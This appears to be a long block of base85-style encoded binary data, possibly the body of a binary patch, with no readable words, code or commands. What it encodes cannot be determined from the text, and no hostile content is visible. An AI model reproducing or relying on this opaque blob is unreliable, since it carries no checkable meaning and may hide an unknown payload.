zy2(Z&TOxb+PqlF&iKKXqw`9xU#c$4ir~e3#mFJF6IO=qe*Rtz0MKKm8dXuudswlFK z=lu--y~bo80yj^FqKB}Gl!C3<%=(_=?-Na*!))Bs=Mm@3Kday=6BIuwv@^-<_QgP( z;-Mk_venYB&EHh0W|_4v!8b>f0Bnl>`}^hBn?)`%F@;E(Dq8w5dya7RPc^r>_{XY= zmsY{WZ}H=&nC$~>?RRR?jG2}n|C}E`-i&qmXG_1(GaY}gA75iii8t5e>oB=9*K+H# zaMOza^iRS$+1~M5*8$SMV$J zpqa17{eTcOg~5JyU%~csXW5k)IL3Z5Qy@GX>Ln{P+mi-qh(x~L98Ufi89>c~$qinX zctIiy^FV%8V!i|w?X2eNdap4c>BK0j&7G1M#k|3!lo*w(-=XI5ezxHSy@4OC zCH}wsrWKhd`rD}YjwDLdVdb|y1+L{&Odl8hqmzhk*WYgO<15T|htl7jPJD;{_v43} z^)CL=Y`NGm>Qf_#?i(edZcb-qE&@kja7KunMr#BOAl> ze(`T2A9DpBlP>TO75KG6mC&BzgPP`v-BbT8mwZ`-`mHYU6WEY>*(MLoQ4I{gM@S0` zoM}H%EF&?D7NaZi65ZC>J5|v!nG%~xZz~w(rjbwh4^PvNPBPcoXk}_!CWN{|rKaZQ ztwrX`z7`SJ_6!hl34oyAC0BT{n+p&o(L7{NIe>llA6PbjBU?eHJ{O_C@g+?fSk^v9 zIp)JO{`RO?YSVP*B^Jse#_owBs?jv=CAQ&>_t_tRi_9k&8m?e7-a)oekl7)%Qk*Uz zi3@2flsQvmk1CDxm*R6xezht@2yC2!0XfLLvZ10vqqrJ2XGV+@}1H(iC&FC~+&F?0@w) z*Sm5PJ%Z*LSfE*MQ~P+Ev~Z~{#vvxL@Fn|Y=f#Dq{1{tNV&OVJ%JU{UAB)U^^}PSh z51$%dyzm3wx#Fg8cyYsrdaWuv$b8kuHvOC9fxz(kBpLEFvDxujWnL9e!uI_{~QJ zHLnq8Vm|2W;-3@hlc8S}5HF@`9`oZ5a`E@N_&MqLn~67vd(mXoCI9p>_H z$#LLJG1o!U<~TC8=Kq_wWr|3KUhhuDmMTkCa4*I0{FjYdH<6Q1vyS!G$7hdWs8sjq zFjT;MmKk;rcHA^4tM$5X_FG-}=Z8)SWXo9jMx>yOI!yCJ8@5if@jKjZbQVMx7>}u`oEpOyO{R-bs)|i9akN_wBK1FiK`;T4ovoi2Lk{1*`15VzqEV* zGNa0?A~aQ<$oBY+XTRO#i+`7oPV3JP{8!tG&@D9H35H{cF{5(WexlJwYgK{LL#kI+ zSon8m^(ke-hdqP*6Ucvaw!XzQe@74dzK^2G&})QN&d*VXZWmXgHyZdqgghfEd{I;Zc-)k0O2% z7Qh7Pj?><4jso|CUgd*%k5y$d^l}l4AUcQrg;TX(bM{>*uaeA0Y1vyZZvD`|9sdrR zym?a3R*`vv1&Q(w5**chAv?z~>0y;GP_s`Is8N6; zygFTIKIKanTA*JjrG%J$b)oiDwU8I+DO{q6*J z>-WW7JN`PXzw_zfB5up#hYKc?p)F@nNk1AOob(-L5Z}7X) z!a^O;y;IA4jk`ny?hTOR@p_KA3NC#JLssq#JX!q{X?E*@HVj z$tP{AnB}q)dBeznPU#oRa51q#_ixp$Pp!6`X8kV$PP4KdlXm@F{-W3VcP&|SzEcxfmRU$a;?P;C7I%M2B%MFDqykdTs5=OU7@mDg->s^=1+Id# zRO;y&aLMe8cvV>}Birv>IXbA|fA>%1*DMbV!waFo9N{;ScOJ#E*q)Raa#{nsQR{Fv zp@W8+?Q~;uY;Rj#_Z^!{H#DcZ-o0aQvWC;lp+4kcBkZg-PF_ef-$!a#+^&)8 z#1C!fU4L!aU-6b4i)gHlz~KenJZukPB8L?bn*W@(HS{mK{fW@dQ>2ELzNtMD7d!V+ z0G4|9D-3;~E%>f;6hkEbgmS0uj>z%U;KFJ)MUq}(0Fnl^ zN>AsYFdwX8_bSa_e%a1na=5sKuf!8t+TbR}X=EGp#mSet_tKDpz~ZG(RB?d52FqOzQzk$3&RWzCqy7@c6t z>9uHE54@LT=T%Xv^~urFjJo0gJ_A#SA(?#0u~IYInxP!9V~e6(!5DuNt+#VF%~ImYzDRKQ#T z12kQDlYGxRq#(ZbM021q)24>QwB?V1|JW>}`CIHk&Pvd{rFW=bt*p&h!0p8@*cEq4 zP+aQSeS59_+x6c=;Lh*A0(Q(VRRJZEQu0%FmlWxUcP`VRpA$sZWwVr(2in9NTdxtW{oG(mkmVqAaDR=N_0x{@s@XKZ6~m1{%F+2l4@U1)jMoHo z+W2WnH%N&M#-bO*vSHutK79)Kx&edEWfhZ~+t${-ug{&uudV;0v8{o$;dy;2h9z)* zQ$})dPn!A-M(o?}B9KkV*NfVgHSSirY45V7%`bP`#aC?$FS>DWnmEz zpd5mMvv?IajN(M}r6QSYpZijgf9l$u<^0I5-960Wl}n;yj#au#>S?47J6BKTc)59; zX-$dqb$4uml^@Ej{7_4lj<;`SKT2{N-${H(5Q_M43qP58xALU*u=PN^vK4hF*mMa6 zw^*j3Plm34m(_?h5{eD(#8-e=dm97HE6I-iB|w=q2DF}=rucT+)LXL`8fr%e4;971z*e&2(Sfd?qx7h)=sdyQ69qHOP^8-d` zH;8JHQUuk##;%3T4GY>CxDf0{jui}S*=u4Vv<@$hzcf&Rk4fkjn$-v{f+kAjCT*}9yRD;K zP`s%!zHR;ImBrh1)Meh&)L+rm7H&G4a?-eOAk@t-IRtB4v+fEnF||ZE{*l9IVzE<& zd{cW+b7HZyBaI)~+wJyttsN%u_QA0%+u~R@eH~9vN$cx7Oi92B3gLh1Aedm0Jhu(j zb(QgTYzgDtZ_#|8ZMBS)7=I$XCv|OlkH4~Ur{J6cCtE@KRhB7^&1&p zy!uSv-9l9|w>RG#&W!ik*tUYhp3}BeCI{z4Brk5O^n031IgkjBjmFnfnD}q&G6qgl zSIY6?xv$s>k?uwyuyX;wRdG!Uf$VHKr^cf2KETTVH}5+h)xrU-Biw*={U-zRU?kYN zAz?=%R679we~$BQhO5V4OcEbF-3Xv-J5=%WJUs=N(GSK40z8Rfz?n z-Kyf2WUtI*qz%(2KBpHfxYN!R$d^9D_g`#-m|Ezyfxm*wXduG>`2r1m+X19|?{`qv}M%?}U4Tx~n?uLm%REcu@fH_awEwyR6HX+CvIA6h`yZPl7V~mM2 zJewl>aht&%Wix9r_BU6)qGmSPb6J`Ptpbsic_BPjMn3gf=A(aGQT32Lr)E4Cq8xKx z76JfGbjPw>9w)yJQ%o{+^w%UsrHg-10!(PH%zr{h)e7U!yXF?J^i+!_92QKb@k3@x zT|Em)H5H1)&G8R+2JKx1ULasP)NKP_>Tau@y*q&LPXw4-E!-U{QRPB}$?Z^CRpD&& z5+YYeB-lc~_}918bfK&12yGc!#b`t|75YHAe(*cCc-1pHE|fZKWrk3ZrV%eW9Y$MA z7s)r{It)O2PAk>^{*qVyu^?B`)+nkgvNJbu4PNXOSwj&xLF|zHEaKtZw-+0?a&;I{NI-n;A!Mnd|)QVjis*!X$-XvxjYR z^Nk+c_4t$r-zes#V}e@DAwdnPC-*Df>0ie9b3>LU z^3AMYb@Xu!E7jIPJhm5Th&d5|OqLUXHxs_KV0tev8Ea5=bzkg}fX|Y~w#+;j^IP@b z`G>BAN%%0}#*n!OYom$H(L_#jq-;a&MbX6gnn?V07Su;X_}|>zTvfcm(a%U7yZ@JE zye!?;#W$61sNC^Y%ST;W_I8PHh)&wndJmE9I+plae24n(c4L9Bb5GN1ja}iUj>koj zn&hoq&a~2ICVaJr^&JA0hhH2;=+9pqk|~;~L7>`LS-hdLWowtpmfc;dCv8A0vmre1 z_ar1bXXLyMGtipqmB;w})<+rKRf(Dc^*@m_ua1PDeSgsOfz|Q1dHZS*qk*PKG`S#4 z*LbmrO5N#UNmyI#k{}@NlZ0!&!t+iCUedNs;dh@FkHqrWHg})!j+lrhCJr4r?}KpD z4zUO;62n%6&#&VfB4w|K=e|Wmb^OCf@#_&p;FhgjIk;DWU=%Ih8R7W!j?G@n&eOa> z>+Bi0HZQ(=Wa)-T3-`UFI%zRSR2DCSy7#P#E=i@&Ij|2wkdACZ=}(;|c3q!C^;b9Z&w z`#1KiE=$eGYJGq_)$#W+B*aAffN18sk+zm-+0q-22*>8yzAjuz3u^mTm%Vjk?=zFb z>0sKwbNU;p^CFqcBJnLAU{}ZgTFKFfwzktqabTq7<0D39zFpnp&1n4kiC)>ZnMYQa zeLAzh9dX;E@sFzGMtvvI{Y}?{CjJ}vOcM|IO!+mil@cm98;>INT18!{$7MV$f9d}; zOfMN~`W*>}E8$~GIMPPLf6XwZK3R`aJwD~A7F0S`q4C7QUhC=z=a zcfCbS0-53YD~O23$0Md+P!vs0fO>#W=i=>w=}2r(m+;)XNK>7>YHwu6-y<#mKCLqL zVNN9TWyRH&MGi#x8x!`&3}eKY#7`5h84qk<4l!C(0u~njjG^Eviml z-6dM~$&4XY@vWod=Wfms6kcq3*GSph)A~oT5=xdY{CK+C5<+>J9#CfYuRz;B_1LCI zN{^59c#lV9Ww(uh%r^hBNZT5(Y-~;C5`9O)RqI^)Q1BiD05#FFx2K=L3;Smu|F|CG z>X)h$$8FTX`?uJEtB!Ne-}2NG(fHQr0vN=q)+%NT$^Wxd)yYoTV@tF7r6Do7C4g6f5%%5!AN9WfBxIHhx;*Zxj`VwQvQl!rkLI|!3=su(`nuV zUrg65o--Si4N39=i&@=TNQtBlQOquhsUagw1wliHl|LuMn+(b=57Lu&B) z#plx@%Oh5VUI400+s+><`A%3oV@pTS;zM2`5oz@U1`w!s3VIX=Mf~dYO)^xYOfl+6 zNjt*);J`Bgo8?L5L!%c|WbYuC(&!%UXTiGYG zj-O^_wQfVg0juT9h=`S+qr|mgpnXgUN7{ti(YTXO{k1+wdh;2((ezpGnUK%o!8tv) z%V?f1pZ$r}*1bv6S}4hB@$ix!yNE+Qv@>h=Hbt&wQ(SbB>cs-~fGiu$`8~yduJ}LL z_|(zi#l1?z9%JvnE1w<3|6tqp*R0dfDRmoGS-PrfVYgwbl_MapW54s1_S*Z+V*jrX zZ~F;Aj{c>W4rCy45ZH)JR*?z{n$501rq@z4AlCF*8bnU|q(ICBl{2aZJQNqd5{bVR z+3{ASWfybE>S*Q~@b9%OEx;+ccKR;$UI^|p@JhFNF9vrR;AU(kB5u}=A;gmujtN&i zBVy1*bL6P-;@qCq@mC`7vPk@|Q7VYP9NGBU$kIjCOptBGm4Wm3A~a{48w8k2{}xB#TPNANHigAFiPTGU^H#94lp$ zC-X;>Db2VYFo%=coP8k!CVMamo6E9G`I+%ya%^Ti?+9LF?;Q@+?6j-BUiLJN+h%@& z5OV<>NCH?6En^GQM6RbZb>3W1TKPD*-^68#E7N5btT(6_V`IQ7NrQFO3OgYtNG1Mx zFJM_#aJI62=Hyt^EoN)I^!xvv{Q9SM{8Wg3YIJf}dy38(KD{_V-7wVr57-v+hmz{A z`MNcPhSkvX-DbaIIA3iWTEjif$%V}aFsPGvH6t2pZANK1C6p-F@l(a_uFGK>;8@bz zG{BaElUB0m&wEDC0=?m7l|b`UkvTZf51xz-Z?HrBr&(vLeS%*f#2eg_q>)EgI#Pw=-Tk``Kxu0_?j=nKeAVd zuY#4h`@6zbZnQ9Zj!|I?+$qNccsGMSYach#yNM52G?>Z6cJ*U@?Xvl*j#2f8{g{En z@5>;-$FJ;55*~{1)wL`VSGC?D+z4lL-(k)HTTOP24o0AHvBzX+Gk2$$jeVu95o>i! zlOrT-O#n##r)8}Gd*=6ef#R#-`L*%p{ilX zyuVM!nGJWF@+(DqkLpBLH8(b<4$wKH($(yw73)|{fsVPAXiL9{jYZt{n5*IIIzm+< zC4GU8AYn@SO)XZh7)hN7?Y_NSCo~6c;U^kj9gVMS+XU=Gf4JNlVMKBI?99C`wSfD* zV&&c<=BpB`5L<%$S{zhEJoGeQ~&7heWOg&NuCh|_Z*n0E4 z6CHIe2UMCG#7wmY7!d#a_~hJ`Q()%3%$MaKcIh(jJ&N#b%~prI0OHPjfFz!^AhThZCb&xv(#fc^rB8lSc$7}a_Zf2PuMQDq>+7_yti1wEqjQ;u zW#(<3$*0F)aOr?YT)C9h=9?WSzZyczaZ8$XA1ELZty zyM^bS>8E8Jx|5a90)LxJ+YU^|nfyJojpW+G?z1hcX9N3&kk?A$ zdF``3Jnwn;dJv(D+-qN6AMy)OrS^FHwgQ_ME1MhqyrlYxpSKPAo#baG#duyVx|Ev< zhDFWf@bOFQ4hSdY0#m=*8n=j4TWpd7o-ipAu2O>cK#G1>@k>hvsHm@0)BwMvyIn-S z3a}CRJlRT8{w}kAY>r_!pFK`@oVLY|hK*a{GP?ioOD4mDjEvdu*9|sv+1T=@)3%G! z({01>LR`T^0?)H^|z?a&e9cvBGI;NRjxpASOK8UmV4;k8cx)A}6f-j}I%_;&N#Zb0fZ zldKF~3>$|QusWQVe)~=O?N?&*I%uEByK0N(t07nOgPcpZw&2tF#$qoqd`(s2i~=@* zYg5t0S?ouzt__WhXQuw{C2q=>JHXeg7IaVHO~m=d%i{`>QG@_UCLU0_>*{V{__ zb2YJ~L*89OKq7B2034WiqJ5U|M6>jZP=8($dD%RnBhdVU9^tb#VS{(6rl!Yu;$M4Z zXe}>loSVq3_-5xL^Vv1vI6WP)K4{(YElg=Y{4MB+Kl~sahEKk&nA)mjX(j4ErW5V% z!g04rD6{4t7i7iC|1|-Kw5;x94qDhz%0bFtQ|t{b<6kl7D$iNOl_A($It}p=FUQ?{m}|WqT3(6kVe~nZv1p8uiCwL-ZW;G*_yCX8ZA1aBhyYx@a*LV|(zmT?y4 z#%no-h154EpY>a9%BuCP80ICAW9DRm$)hTVQt&VBj;ksA^X|3=E|@_63W}9b#=?dD zmDJ;UDZz3qzx100$Y=W|N!`pgoscOBJCJM4gUl1{bksWIJBg@+f0+-1NzVC~Q6ukC zo7szfgkK~zJU}xDY6L_BAsQdn|JXqi3#=V+@|?ET3VkuC&|h%A!i#Hta#3N{3P|xd zbKC{H+kCG2C^VB+W-ytuV7l=j(dHD+ZEM8I{x@~9LW;C>nfnh7McKN_U+t^YDeYg7EnhG2*FdmI7>pINzjzr_4oKRK=~a3nl1Ns6*Q~u z#%%c*6$)B+gGcp8yAKABt%bS6EnqVN?91?6R=PA_)(U`t3$0MuX>>M(rV<3+RCC6Y zyD7%5J(R9^kJt8!7k}Ho^G?#a=MCCq)3O)eTg1^0gZfekEf8Ui4?vR)Uq)qrJ(bGh zUzy9E-rcqW#U^{|w%&OgTyX$T9_9AiWDP6o&hTPwz3VC?OMZO$kEc%i$>b}eWtnv+ zHeR1~&E?ZBsVkn`czv(h%j;15t}{1p2Y8HWbzFAF>(|mGA31+Vzr~W|?KiY=;EZK7 zk-f>jqw)49+-TXVa8eqv>O}5RJi=zNzqY6DBlSpy)aMf;i7qf4R7__1*xk}EczhDkF8|G2`t2~6o)6LaS?#L{J==|0X z{LNr->n5hIjpu2iI1r0yvl?fwy6(>U`VDn1Puq&4x=Jtew-y96qoYicCbz){mfF-}oxWu+H_9+IP z^3LdA70g9bO_@$c4!3wkZQS~EV=1e|2+a`US%TWx*)nZR$QDgX3!Jx}-Od{AtZKW= zymp!2QK^Lif}H#`mm+-_3W7UEvYKGf$S<3m7A6a&$-LDwdUH{ahn~{Jw(Mz3onf6x z0t=do8sNFj&dN!9->=w9KD6SY7BlCOTJ)c966>srN?BIgOMt0bQ-1*}%b(JM)~g`> z0J>oP^jJH5InNN!Dn%GsJ-Hd2RO9vo`@Gn$w%Y0G$m5vQF_U9OMePUsZJ=#lfhHO( zIc(jNS--#LAXBsvP@y5lETEYT_iMgrx^~Xks_@g@&We^TpHamR6<9|iYZq9?Ei*q9|D0$2G)%*pa}wlxC+fhIjM(z$!i^Wd>e?1#QdLZeAi+%DOrI!%x?qwHMYkW2o2i5y68??EG4`sdiaY7cY7G z6tiu!-<9d6(rD^Q-A@Ch5)acr)APS*RO=*2$GS<$eBma-kV zP#Wy!(hc*`q%5pJx?%!@(Ns?K5)lvC7#hUk*Vu`izh74Sv3SE)*W%dHDW=G_gZ8Ih zCFN3P9YUK;AA*-qltznmB=iSE4oh^iV`4{et^GtmWs;xA1FDms2j`{b=K@NSp1#+q za{9()+~jc9cMz(@d-R)8<05u@zydCXt$LFjtdoTmxwp`WuQ?63dB7>xe29 zszx1>sVToAQnosr{1rK|Oo+hQ*>=vvcYL@>hdQ;1USFN~F|Ol3tG%|m><vOrhL6THf^a+^vbMG zTv?#n$Edy`Z01K<5gm#B#&@9M+iM64A7TryPL9qT8Gp4pF{dPwc-n4=Je%H^%iQEW zo8Ffz>%Pcj~hR0!m$IG8DT2Nof9eJ>#Kt>Y#kLp?wrY0 z@xpW3@e%YF09MD>wBCRm87tpI*P<;wGjUB;*2wrj%%^N_vDrT|zGw8xs;n%qn$cQA zN|n6e=aeiL`y!x7>>2e1lIh5%Ewx#d&mG4HH;F$-nhc?;bY$rV$nQM_%B9uGD>ADw z;Yn(XdK92e^3V4~%3ck}hL9)H@*%A7IM~$ht(9qY{NvOSH0q+llPO`qrM7EIqX`!q ziGMAQH55yy59ZWFlC_0x-ullYI)C*(zDdY8V4BrWM9N+X$6g@_WKa})nA9==BcH#| z=q>yK)U>->A0&Y-&($ITXF2_xfSy~%0BoI2n(E}GZK=K#HGEp6?XMkj07m#0@d;(U z)Hdo2(vOUPp>~Cz9y}&!+bR$+`SkeUOBrNXtUev3eO2*Z(*nGzg-R2RzvDMKIpE~# zgjZ2inu||cpd<odjxQQT(=?#ZO!UgCE^D2EQPr2>1wDkz5D9_?+t5cLvDQ!6w$)LSIL1hu z*n+n6-@QAv1&DCYg!m(Q@ zSiGhlOF0aPfJo*!zbjlSY?i%!Q;*7~ZiTHcp+~Mn4?6%I{bRi2Tbc4A@jcavYYHnY zOOl{cow$+XjBT~!V&yN4*5ElglDIf0qUpFg@x!brWH!-+*e_()p*lW`z4TdBwo&|L zVs-qS{7C%mD6@EdWaSxPL2Qqlk(DFuSW6unE1zOZ9Z;Mr%B;6s{LzZ z>1S%-ypvJyz<>)O{w4tjxm<&x==}TCKfho>1x?;!ClU@T)E=Gg!`L$-eh@c-G}X!5 z^d$vaMr#AX>^sR&8p^qkFZ0L_y43fbxUvPv+E}#ATRP{+h36KYsEG*;gZ9vhSJ}zJ z)PL^Wiq+@@I|;b4i6vD5Rp1{vnyi5o zapN0G56A9DN2+@3CDu&UB_wx|$PNYqrg({N>?Jl?axt&Gx3^6TqGcX^&;1BJbw$V% zBu{ZeXO8)6E!$mwNVU85A{x(FQ8ApQ__>7`o!w$JN0G$2eOMFSs6uKn1*^$7KO-l8 z2_O-qf*Ll|Y6=2B>{jKVeKL+7ahofD+!|7;ytaNv$SI7;YQ~!}762Di9siz+i^eC8 z$J~*hiLvsY%I5BIze`Xb8U-hMt4@4R>+S-Ak($*tYvHQ!{qU{NleDs_ zORT)*4AozI5N4ay@RoU!jWjBZFo0K9SYobDTsmF`iEMrST#0MHA5Bcj5nXeW?db8* zxb{!?xNOz&t0C+WIgA)a$QY)$Ex^m^6@(=2kQv|lFY1kzM{PMrQ77eGRa2d~fnwe= zcLa5hz!>&wzYxJ;M;Q4r-=&Nt0qh}LOd9kZ)4m0C&(0r$e`Kuu^-=r5&#)Byx?k1e z`9H$%rA~{L|I`)|01vmgfim7QZw0k~7w{DT??qxa6ksitjq*gaxR9n`q|5o0*G1NW zYov1vhX&LakXq1%tsBq+(Ek<)uxCBGfq!=dQ^eE5Bl-kR7g0EY!ETz(ROnWMxADAu(bw4EN>~kXMdZtq7OZ+~rY?fG$=4 zh{_d}!?}N<{197Ouj<6ueA7E%M5tz4n8>8)I;A2#As!y!RW(WdrYiKdQC30?0JsBUZES3>6y zAqTzHY?*X76>e5Eyr)J>xA78CE3mK%C#%^|(B($=5zhoSV6+CNr-2!JlPJr?s^i$E zzTYhhyHziol_)&?tYq%t5$m|Wc8=KFBV^Y^HFe=dg(r!e8f<{O3N9MI21XTs*V4b) zvY{PN*8m@SL5(ZIj!-XADHc}J*gBZLrbd}QVSEl6%;M^}qPe~#ym)*$YBtObcLWp~ zjbj15u2q)}bN$reK`_S8;ah)3OJF-1_%M;I_W23Ht4Zc_649@Yl^;7o{diV2%oc-) zA2RdmHawIY(L{ZY`NL1tv&V`l!r&+=Jtv=20Ou(RdM2nkfVvu#kmGW@A%V+ORJ^hB zrKhW^VUiB0>OvTit18EI52~3&wby9czZy<Q32MkP53;@Ha~)9tHB9=B8b|9gJip(ZyOAbs3W(^}WLMiNIu3yxa2nFITrTm2?o5G#MJLih=Kqavsy%N*Ph zNB>=KR0O?|DxnK1>W+z(PqoD(_g%`=aFu5o*+@(GaXaQK7_&nxZ-_E*Hv^u}BWh^1 z+wX{#7pg4D&*7%)(d060Jk!UO*E)rO4&!I3e=Lz9tC^k+jX4LfqC2g03l*Uz4>p`S z^Kwp*!pWKcwtOb}yh^+a!Oco&tta3K>OW^Rzf-nk=vOzK!a`)=Q6usDv}n8CWjy{A zlySK<%hBJgZ!*!}GoVZ#9%LCHPg|_5{P+pPN2tFDk*cs{bRyc9Gb^kb^D$|CJJMC^ zm7Q<9DQc;3g$a_!na21u)K67v?zAkO=yq36dTm|43-0vf^~tAV@k=eI7eg=I(0bZG z)tJ0(FfL6EhI-UDJN@4bp%s11Hr0>*Mca{z&sVt5%#|;TZ`%NvZ#16rlF!?stWl2X zI}YVor)n+yt;@e=aUS2^dJ7VI`*MY|C%*hHP0Bhd?yzj>eyZp=y=-By2g{Z-**5&Y zShm!pmo49ql`kq+sfS6ttI@Ire)tdQ~mqL*J->hDa z0fCVi78)~u>=ts9oAH^mUAM1VKku76FGTG6vVRJ^K{`xRfoOhFpDZ@GIBh`4QuSG) zvdB#T`rGk8;w$hE9Sj|vIJa*Wb27Up=xJ6*x}qY-ejKU&NNu4uQ;?-o&NP|Hn?;c> zFq&|}x*z$9>7km^RgWF2UFA4GWn(R+Rt}{k_K5Ig`0Yb8pj0=0hJDhRT&=-NYZ3_z zik%}0{Qrw$TPAhJn5(%jHJedaGoCAXAV2H%WIamtI8KkF^*DkD^wVGO{q*RgM=w3P z>(PY=@p~Xy^Nk+c_4t$r!^A2?HNMRj0=`=*UWHL(iJ3X3qyANljHxSX(-`_0=P{P4&O`6QwDs;WHe;18jVA{RY4K|W&XPM z{KxEc>D1ln)<)LN?+eW@7cgWEFG`S?w9dWDt4QW_x_7x&9*2Am- z*^N*k`Cig$tJ$XN8A+G+@hR=4*&Uz`I_>WPrrkbKxjFywezO@z`mlpD;qLS-yKCm? zcftocv|}wxN~k%tHo%3rE?e1N!ZixkAf(D3!2dZN_?KR?*54ZZLChC|7QW za=|!DI1yic_}P!4@97t@dOm&#taWBcD~cNP2|GA`Z(eb7JN^?+FOOVNX*C1_4tlhu zT_jj*rO2S%2o4>Rp(^ULml9A-=JW`atRGAzGfu;rxb9>#uf38k?Uh7TNivirSihxs z?no`tE>n>`bg@+qjBTo9Zl;=rEkrN2Rw59TR6Ox@mj4cWmi3!s!rzABGu9aKm)nXKl5iE;i`naKdXp}$r zv`Aw_1q>~`nAp};9Zd4v_>sx4KYm!SFXLP*aIEM^&~JJ>KJu^-4hVXKBj`=+ca~2D4nOYMUF915F3n3Ys0=vEy!c29BNstmzaB> zcUYIh14RT!6V99ABGE2UCTLD}D`HJ%!s_yq4C}yv$wR`dx^V zYrIU(xLw3Jvi$^$sldOb6)u5B^y3_SN=q^k^(Z@pP-W^zjsQwbjzEc7_nIA_eu*Jd z!ZAr@DT-Y`G_&qK?ajxY*$l)Pb+6;JRF3!YXOs+;WFalTe>%+YFW*U+qRXxGW{k#?p`O=3OotL+4o>YyOlDHmek9cT+Wsfl9R2)_F&E4~O_{Os z2Ty{RI1jAwbTBO2nm*=_7was*H}-^|w49|VUT#p*T4)sY%uk88w)%?H>EE~cDQG$% zR(`Hch3ag+Rs3+}uFeQc|8%d-b6_?0{nha?sQy@H$8S|CIPCRVlUG)rN|W(^66JUV z4pzd^#6j?9B*AEW4eAE?UAT$)pNiL4b0|K_f&bpq4~Qgda#FAJ%u21bu7mEPMD8#; zQP9FA4lrAPBw!D82Mc;vCMt%;E4iGr01{f|wpwpExv+2sB;$dxGeD{|2P zrW53tpLI&WhC&Sr;){X=7i5|1Y=Yp@T13>PwF6`2KL}FPRG6~@kc2<40=YFvmD?dz zapzRA@*Smq7gTzt7m-$PJt8X_uk--3CRV;FNHDg>q<*Mo2koc=1$I9m_2l|0Rp(=uLiW(fj(SpryYZ!y(_Z-w36Y?V~ zD=HvV<~_W-@KK`=%fDN1=1ouv9fjzBEFfGkS>yD#W|)PSZn8M>QisLLyW2E<$mJnl z2Js`P&0`*HEfF^IZJ8XwH-~miAaFc1DV3fea7|OQy3?%6c*UsUQ8V7<| z`Pu-tT)%=5!vEf~PLPt&vabX|EMSgFoHMj+?9k~)cx7X97-D5(vg!sP0GaOHQ2f8f z8}rKqxM@nKlYkqhaLt!P7%c;boLuS8kNvj>yusQkh;LixPX(s3qN9YT>hm=N7qlAR zc1#kQ;|~+t`9l#FoXE&iIjW@dM)5tE*M*zjv~$BhqKQ!qz~vf%UUFOxrrODISt-1o z*;!tkIyR>$gA3zVr%+qUKb_gac_3dL8vp%$#32&+{Jll<2XfUM51nHjTVJ5h(N7%8r?P#IA5fT1!6o`> z?`WRQb})BFId*<#g}I%aa1D4k+87(G5$3HNRiWSJSozoh)^Yh}Q~>L!e8tM$_fOO0H*7>>vB#`M(we} zIw$0uVQ5z3rlDmw44ug~z*p!uC@i&9Cby!b)M6@U@NK9a?e-VZFXhx79xK27I3LqD zq&w*C2rwrSN(f zgJcmr<4kL>`VR75=hag%J`ZR3`SUjjpa&A?K#$i!(p!!d-1PeO(ESMb%a|-P#X`W5 zI&E%i${oR$-Sh&w4yw2SwloHgG~Lm!jAv=U&uuZ3JqP*id^O)@_u@ZdT+Iw3ud6V( z*hnV1>9l2RMYB*@?Uh|wF$okzpHJcG=8_7r`m#aK7Jnz3Ie~+1_}1T?}dZFuk^g;u6H}**OdL=;&%zf zq}MNr(9!o_%VwqA*1TpWT+aF_yK94nydC4A#``c@Pofxct4`9KqBQKq6i^INnl_kR zDwL=QrZFsiW=#t=Xxkph2)*^2Ycrl<%v11d=IhH`5kqYeBts9g#umfm5qgNEovVCF z>Fp}O>>7&I>|hp)X`<=yBKnz8?YE6#7#aige%ma6n?*t4XWz|amXB@2c-}6PLcj7W zEJ(NU99JPc*es;N)I+WkN1t~AwO>aGtGVu1(gDH;Y=PEkk(vmd=%cM5XtSH2_DrH7 z$-J+pd`p(@`(`n(y3`*jHP|h%*!3&ugwNk8p;MT>bqe@7_dD?8LtWF1wKa>naFcYv zI-bx2pw8G`k%6x&JXhJziTdorCkHJLRI+4V-oGnoV3k{s7SLoJ-Gg^tSK^iRt~~=u z$gXqYs>m%D;jNOl5@BSha#cuX(Ga27S&yI1(+$jXD3kD!?ZP;Gw)IVG<)%TmRR6yEMH6Q7un$Q z1)O0o@e;_469CO-z*LnI^A1&s@!M3QDg~*OX`Nwq_=VrCJDc%%2&qig-x-fS4O;pe z=3|*kaB`Elff;sm0eVfA2$+ON6G(C#p}3gVeObwQcg>)2oslfSKF8buQc_DgkaVY4 zzhp|hT@YeVoA=DGuf>@4Iywmc&G#aG&%K22L`mabOp%w)JhgEzV(U^o(KYTxv}~xY zbpf^4w3d;saWC@r(%Os3-?(?6Ue9$IYoo1)*!bI&`+GK?4ZfwdgB$n$RKLeH?p0K6 zVe59FvGKR-JGXJ~&-L4@aqlnq4bNj&+!9WaPZ20A8lI7#*^IiwF=lQvzx}B^_;G#( zCpzGr5kwO8REhBbS)WA-wiw_;@!Q{3X^F7~Ui|h9;G^d#H=+F?rK4YM_YteDqu`5~ z@nk6G9#(9aTyytJa$xTo-V=*NE~vhCO0N+|5fXn!A^hGg9H)9i6(5|Hrivv}RMA@; zskdYi9IdzgWc$Zms3#Q!b#mtNY#{oX^k{B>qgY!A+TUpQ5;FnZ=}9fqB+zjZy`=gr z0ercYe1ablwx1G?OE&*JPT~#$snIr7+=2hIvNYnRYOCxKMe$J&Lt1|i{1;Rb@S3T; z7=EFp{8I`brNC2}_vsh=P;mQaYv%;$K?Nm21v#ok%xD%ZLq(q%O8+Y09QR6b!dZ}pRE;~4m3gYefC~4ef$48Nitu08&M3DWJ#$9%N3te0AM?*_DJ#FO?X%+C48iycqV zSez=JT(7%-I2-&qMM1K;OEgWJn$hYCrDN1hP5ZuIO`-*M`OLn*2o#E~%()NIkKcU# zCLll-*Y@-YFAQU8d9=Thh^ce*USzI&nBtS6et+SVELM>I`gzMDS80VAi+2+f#nRQT zMa}7aPDa1$2b7pn#UJN?7MUYl`~(8b3>6LJjDd!9g%(MRNjq)(*R$%QZ4dspf)d_>R-^!Igpm$(o z-;?sqhYAHC%Hj^-#Ldbli_-PzA$V{JvrL`9RgJljq~;fo@OYvFG+~k>fHFUmQT9Gp0W8}P|om(O}MWc3HIr1%OU1k z?6?Wj+Mk*|n=D_lK9L6A`b|ZK>G4l`OvtqIQ~z#uUMxh0%9xH~FCY)|05v$e$@gfi z-5J`4c=>el6AGF@ei|y$%Qu%T6#K7$|A(9GiBJ%dpSbN^pl;l)0Tx~$PszzA(UqJQ z+nX6)Fq%&<(I}>$9^UZR@{AlBI#*&y!!u%TD4Fl#Y33I0fqs}@q5_%;w8737AS1_o z^gBxwqhDl7FI3|5{^Nv$S^r?xNV2dW!>Y-S~EHj z4|)V;Ir&rNEmj||Ct>Oj8VfnnQg^5I&y}j&otLVj>~9XMV5G<;54^HSF`|+j1tD~X z4mx(2lL?JUpeJWP4cLwumSOIGP0NF1XfgR+fe)*|ME1Jb9K}YFkI6ccPGaCHeWTu* 